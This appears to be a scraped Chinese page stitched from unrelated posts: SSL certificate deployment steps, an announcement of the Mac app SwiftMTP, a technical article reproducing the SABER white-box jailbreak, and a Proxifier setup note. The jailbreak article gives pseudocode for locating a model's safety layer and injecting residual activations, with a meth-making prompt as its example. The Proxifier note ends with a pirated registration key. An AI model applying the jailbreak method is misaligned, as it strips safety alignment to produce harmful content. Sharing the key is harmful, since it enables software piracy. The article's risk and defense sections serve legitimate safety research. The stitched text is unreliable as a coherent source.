五、组织信息审核

JoySSL会对企业的组织信息进行验证,通常会通过电话、电子邮件等方式确认公司信息的真实性,审核过程一般在1到3个工作日左右完成。

六、部署证书

一旦审核通过后,JoySSL将签发OV SSL证书。下载已经签发的证书,根据JoySSL提供的安装指南或服务器文档,将证书安装到服务器上。

七、测试证书

使用浏览器访问网站,检查HTTPS访问是否正常工作,并且浏览器没有任何安全警告。同时,查看浏览器地址栏是否显示安全锁标志以及点开小锁是否有单位名称,这表示OV SSL证书已成功部署并生效。

最近因为要在 Mac 和 Android 手机之间传文件,发现目前可以用的工具要么是开源且丑的 whoozle/android-file-transfer-linux ,要么是好久没更新的 Google 开发的 Android File Transfer 。

为什么写这个?

  • Android File Transfer 不支持最新的 ARM 版本,且仍然使用 Intel 转译,体验很差
  • whoozle/android-file-transfer-linux 虽然开源,但界面简陋,而且需要自行编译 ARM 版本,对普通用户很不友好

于是决定自己撸一个开源工具——SwiftMTP 。折腾不到一个月终于能用了 🎉

关于我(先坦白)

我完全不会 Swift 和 GO 的开发,所以目前代码都是 AI 辅助生成的。正因为如此,可能存在 UI 样式异常或其他 bug 。如果你在使用过程中遇到任何问题,请务必及时反馈,我会尽力修复!

主要功能

  • 自动检测连接的 Android 设备( MTP 模式)
  • 文件浏览,支持文件夹导航
  • 文件下载/上传,支持拖放
  • 支持大文件传输(>4GB )
  • 批量选择和下载
  • 多语言支持(简中、英语、日语、韩语、俄语、法语、德语)
  • 显示设备存储空间

技术栈

  • 前端:SwiftUI ( MVVM 架构)
  • 后端:Go 1.22 + go-mtpx + libusb-1.0
  • 桥接:CGO ( Swift ↔ C ↔ Go )

目前已知限制

  • 仅支持 ARM 版本( Apple 芯片)
  • 要求系统版本在 macOS 26 或更高
  • 仅支持单个设备
  • 暂不支持文件夹上传(单文件上传)
  • 传输速度受 MTP 协议限制
  • UI 可能存在样式异常(因为我不会 Swift 😅)

下载方式

GitHub: https://github.com/wang93wei/SwiftMTP

可以从源码构建,或者直接下载安装包。

注意: 因为没有苹果开发者签名,所以可能需要其他方式方可使用:

如果看到 "SwiftMTP can't be opened because it is from an unidentified developer",尝试以下方法:

  1. 右键点击应用 → 选择「打开」
  2. 系统设置 → 隐私与安全性 → 允许 SwiftMTP
  3. 或在终端运行:xattr -cr /Applications/SwiftMTP.app

求反馈

  • 你的设备能否正常检测?
  • 传输速度如何?
  • UI 有没有样式问题?
  • 有没有遇到什么 bug ?
  • 有什么功能建议?

项目刚起步,代码写得可能不够优雅,欢迎提 issue 或 PR !

效果图

2025年LLM的内容安全已经有质的飞跃了,比如模型内生安全、外挂的内容安全围栏、安全改写模型等手段,基于提示词工程的黑盒攻击逐渐难以突破愈发完善的防御机制,而白盒攻击通过直接操纵模型内部状态,展现较高的攻击成功率,但往往攻击成本也很高,下面将展开描述最近行业内的LLM白盒攻击是如何实现的。

0x01 传统白盒越狱

1.1 离散优化阶段:基于梯度的字符搜索

这是LLM白盒攻击的起点,代表技术为贪婪坐标梯度法(GCG)

  • 核心机制:将越狱视为离散优化任务,利用模型的梯度信息寻找一组对抗性后缀。攻击者通过计算每个字符替换对损失函数的影响,挑选能最大化地让模型输出肯定性回答(如,"Sure, here is...")概率的字符 。
  • 攻击痛点:生成的后缀通常是无意义的“乱码”或乱序Token,极易被基于困惑度的过滤器拦截 。

1.2 语义演化阶段:遗传算法与结构化变异

为了解决GCG隐蔽性差的问题,研究者引入了遗传算法,代表技术为 AutoDAN

  • 核心机制:采用层次化遗传算法,在保留提示词语义连贯性的基础上进行对抗性优化。它通过词级变异和句级交叉,生成的攻击指令在人类看来具有合理的逻辑结构。然后开始出现混合攻击(GCG+PAIR),利用大模型作为优化器自动迭代攻击模板。
  • 攻击痛点:AutoDAN 虽然提升了隐蔽性,但其高度依赖初始模板、计算开销巨大,且难以直接应用在不开放概率分布的黑盒模型上。

0x02 LLM机制可解释性研究

在白盒攻击中,精确定位模型内部负责安全过滤的关键层是实施高效干预的前提。但在标准的 Transformer 实现里,研究者往往只方便拿到输入和输出;要稳定地获取中间激活、精确定位到“某一层/某一处张量”,并在前向过程中做可控干预,工程成本比较高。为了解决这类“可观测、可干预性不足”的问题,那么就需要 TransformerLens 这类工具用于 LLM 的机制可解释性研究。

TransformerLens 核心是 HookedTransformer 类,它继承自 PyTorch 的 Hook 机制,在每个关键位置插入了HookPoint。这些 HookPoint 会在前向传播时捕获并缓存所有中间激活值,包括注意力模式、MLP输出、残差流等。

这里我举个例子,比如在分析 "The capital of France is" -> "Paris" 这类唯一解问题时,TransformerLens 会首先添加词嵌入和位置嵌入作为残差流的起点,依托PyTorch Hook 机制,在 TransformerBlock 内部关键计算节点植入 HookPoint,不仅能追踪进入块之前(resid_pre)、注意力处理后(resid_mid)以及 MLP 处理后(resid_post)的完整残差流状态,还能实现组件级观测,针对每一层单独提取注意力机制和 MLP 的输出。其中,注意力输出捕获 "France" 与 "capital" 之间的语义关联,MLP 输出负责更复杂的推理过程,并将所有组件堆叠成 shape 为 [组件数,批次,位置,d_model] 的统一张量;然后凭借残差空间与词表双向映射,通过 tokens_to_residual_directions() 方法利用模型解嵌入矩阵W_U将目标词 "Paris" 映射为残差空间中的方向向量,再借助 Logit Lens(贡献量化)方法,通过 apply_ln_to_stack() 自动适配每层不同的 LayerNorm 或 RMSNorm 缩放因子,对所有组件做一致性的缩放校正,并将每个残差流组件与 "Paris" 方向向量进行点积运算,得到的 Logit 数值就是各组件对 "Paris" 预测的贡献度(数值越大贡献越大),这样就成功建立起隐藏层向量与具体词语的关联。最后可以通过固定参数微调的方式,freeze 其他层,对关键层“旁挂”指定的数据,观测是否可以将 "Paris" 替换成其他答案,从而验证这一层是否为真正的关键层。

下图是一个demo实验结果,观测 Qwen3:8B 模型,得出27层对于 "Paris" 结果的贡献度可能最大。
image.png
这里可以观察到,一般在模型的最后几层是权重比较大的层,很可能影响最终的推理结果。

0x03 跨层残差绕过LLM内生安全

SABER (Safety Alignment Bypass via Extra Residuals) 是来自印度理工学院德里分校的研究团队在2025年提出的一种新型白盒越狱方法,该方法通过跨层残差连接绕过了LLM的内生安全,提高了攻击成功率。

我发现这个项目没有公开实验数据集和代码,目前全网还没有人复现,感觉挺有意思的,所以结合 TransformerLens 尝试复现。

3.1 原理

  1. 加载模型并包装 Hook 机制,利用 PyTorch 的 register_forward_hook() 在前向传播时抓取该层输出Transformer 每层的隐藏表示(残差流输出)。
  2. 用激活值替换的思路找到防御层,把良性prompt和有害prompt看作两条不同的内部计算轨迹:先记录良性prompt在各层产生的中间表示(即,每层处理后会输出一个张量),然后在评估有害prompt时,逐层把某一层的中间表示替换为良性对应层的表示,并观察模型输出的行为指标(例如,更偏向拒答还是更偏向正常回答)发生了多大变化;如果某一层的替换会引起最大的行为转向,说明该层对安全相关行为最敏感,可作为后续分析与加固的重点对象。所以在有害prompt输入后,可以从防御层之前的层作为源层,提取激活值用于注入攻击。
  3. 注入攻击:提前配置好不同组的干预幅度(干扰目标层的比例)、源层(防御层之前的层)与目标层(防御层之后的层)的相对距离、后缀注入提示词。选定一组“源层/目标层”作为实验配置;随后对同一输入运行一次前向计算以获取源层的中间表示,并构造一个干预函数用于在目标层对激活进行受控修改(利用源层激活值计算出干扰后的目标层激活值);接着把该干预函数注册到目标层对应的激活位置,再运行一次生成过程并记录输出变化;最后统一清理所有 hooks 与缓存,确保每次实验相互独立、可重复对比。
**SABER 程序执行关键片段**  

**阶段 1: 加载模型并包装 Hook 机制**
model = AutoModelForCausalLM.from_pretrained(...)
hooked_model = HookedModel(model, tokenizer) 

**阶段 2: 定位防御层 (Activation Patching)**
clean_prompt = "How to create a python script?"
harm_prompt  = "How to create meth drug?"

for layer in all_layers:
    patch clean→harm at last token position
    measure logit_diff change

defense_layer = layer with max effect

**阶段 3: 提取源层激活值**
source_layer = defense_layer - offset
source_act = run_with_cache(harm_tokens)[source_layer]

**阶段 4: SABER 注入攻击**
h'_target = h_target + h_source × (|h_t|/|h_s|) × λ

**阶段 5: 生成越狱响应**
prompt = harm_prompt + " Sure, here is..."
output = model.generate(prompt)

# 攻击成功:模型输出有害内容

3.2 实验结论
这里的测试对象分别选用了: Qwen-1_8B-Chat(弱逻辑模型)、DeepSeek-R1-Distill-Qwen-32B(思考能力强逻辑模型)、Qwen3-30B-A3B-Instruct(MoE架构模型)。

实验中的六组配置,分别是不同的λ(干预幅度)、层偏移量(源层->目标层)、后缀诱导话术。

下图是程序运行的结果,可以发现 DeepSeek-R1-Distill 和 Qwen3 都属于“高智商”模型,且使用了更复杂的 RLHF/DPO 对齐,安全对齐权重大的层都是在最后的几层,尤其是有思维链的时候,会先在前中层进行大量思考,如果安全机制在这些层就中断思考,那推理能力会大打折扣。这和 SABER 论文中在中间位置的结论是有区别的,因为当时的模型都是2024年发布的。
image.png

0x04 风险分析

  1. 绕过模型内生安全限制,生成任意毒性数据
  2. 恶意推理包装器:在私有化部署的模型推理环境中,恶意用户不需要修改模型文件,只需要在一个 Python 脚本中“劫持”模型的推理过程,输出不合规内容。
  3. 模型投毒:找到安全对齐贡献度最大的层,冻结其他层,然后对目标层进行固定参数微调,降低拒答率,但过拟合的问题严重。

0x05 防御方案

  1. 模型来源与完整性校验
    • 只使用可信来源模型,做完整性校验。
  2. 防推理过程被 Hook 劫持/滥用
    • 激活异常检测:在推理服务中监控关键层激活的范数/方差变化,出现非自然突增则告警或中断。
    • 代码/运行时完整性:在受控环境禁用或审计动态 hook 行为(如阻止注册 forward hook、限制运行时反射),并对推理进程与依赖做权限隔离与可观测审计。
  3. 模型层级加密
    • 对模型结构进行分析,定位安全相关或关键贡献的目标层,并按加密策略对这些目标层进行加密保护,从模型文件分发与部署环节提升关键层参数/结构的安全性,降低被篡改或被恶意利用的风险。可以参考联想全球安全实验室专利方案 CN120541862A 。

0x06 参考文献

1、TransformerLens. TransformerLens 文档(v2.16.1):生成式语言模型的机械可解释性库 [Web Page]. 检索于 https://transformerlensorg.github.io/TransformerLens/
2、Joshi, M., Nandi, P., & Chakraborty, T. (2025 年 9 月 19 日). SABER:基于跨层残差连接的安全对齐漏洞挖掘. arXiv. https://doi.org/10.48550/arXiv.2509.16060
3、专利 CN120541862A《模型加密方法、数据处理方法和电子设备》,公开日 2025-08-26

很久之前就听说了 iflow,刚出来的时候还是限时免费,火了一段时间,今天再进去看,发现变成永久免费了,不过这玩意不会跟阿里云盘的永久不限速同出一辙吧
image

由于是使用机场自己的客户端,没有 tun 模式,网上搜了一下可以使用 Proxifier 解决 Antigravity 的登录问题,正好之前用 OBS 直播油管的时候安装过 Proxifier ,于是直接设置了一个规则,顺利登录 Antigravity 。

但是马上遇到一个棘手的问题,agent 加载不出来,也就是对话框和模型都加载不出来,我以为是跟 cursor 一样需要在设置里面配置 proxy ,结果设置了也不行,重启几次 IDE 都是加载不出来。

搜了一下公众号文章,都讲的不清不楚,Proxifier 规则里面要增加好几个 exe ,不止是 antigravity.exe ,直接复制别人公众号文章里面提供的文件名,行不通,于是在任务管理器里面,把 Antigravity 相关的所有 exe 都找到所在文件夹,通过手动添加进去,就搞定了。

需要添加的几个 exe 的文件夹路径(其中 XXX 需要换成你的用户名):

C:\Users\xxx\AppData\Local\Programs\Antigravity

C:\Users\xxx\AppData\Local\Programs\Antigravity\resources\app\extensions\antigravity

我添加进规则的几个 EXE:antigravity.exe; inno_updater.exe; language_server_windows_x64.exe; fd.exe
image

记得要通过 browser 这个按钮添加才有效。

附赠 Proxifier 注册码 5EZ8G-C3WL5-B56YG-SCXM9-6QZAP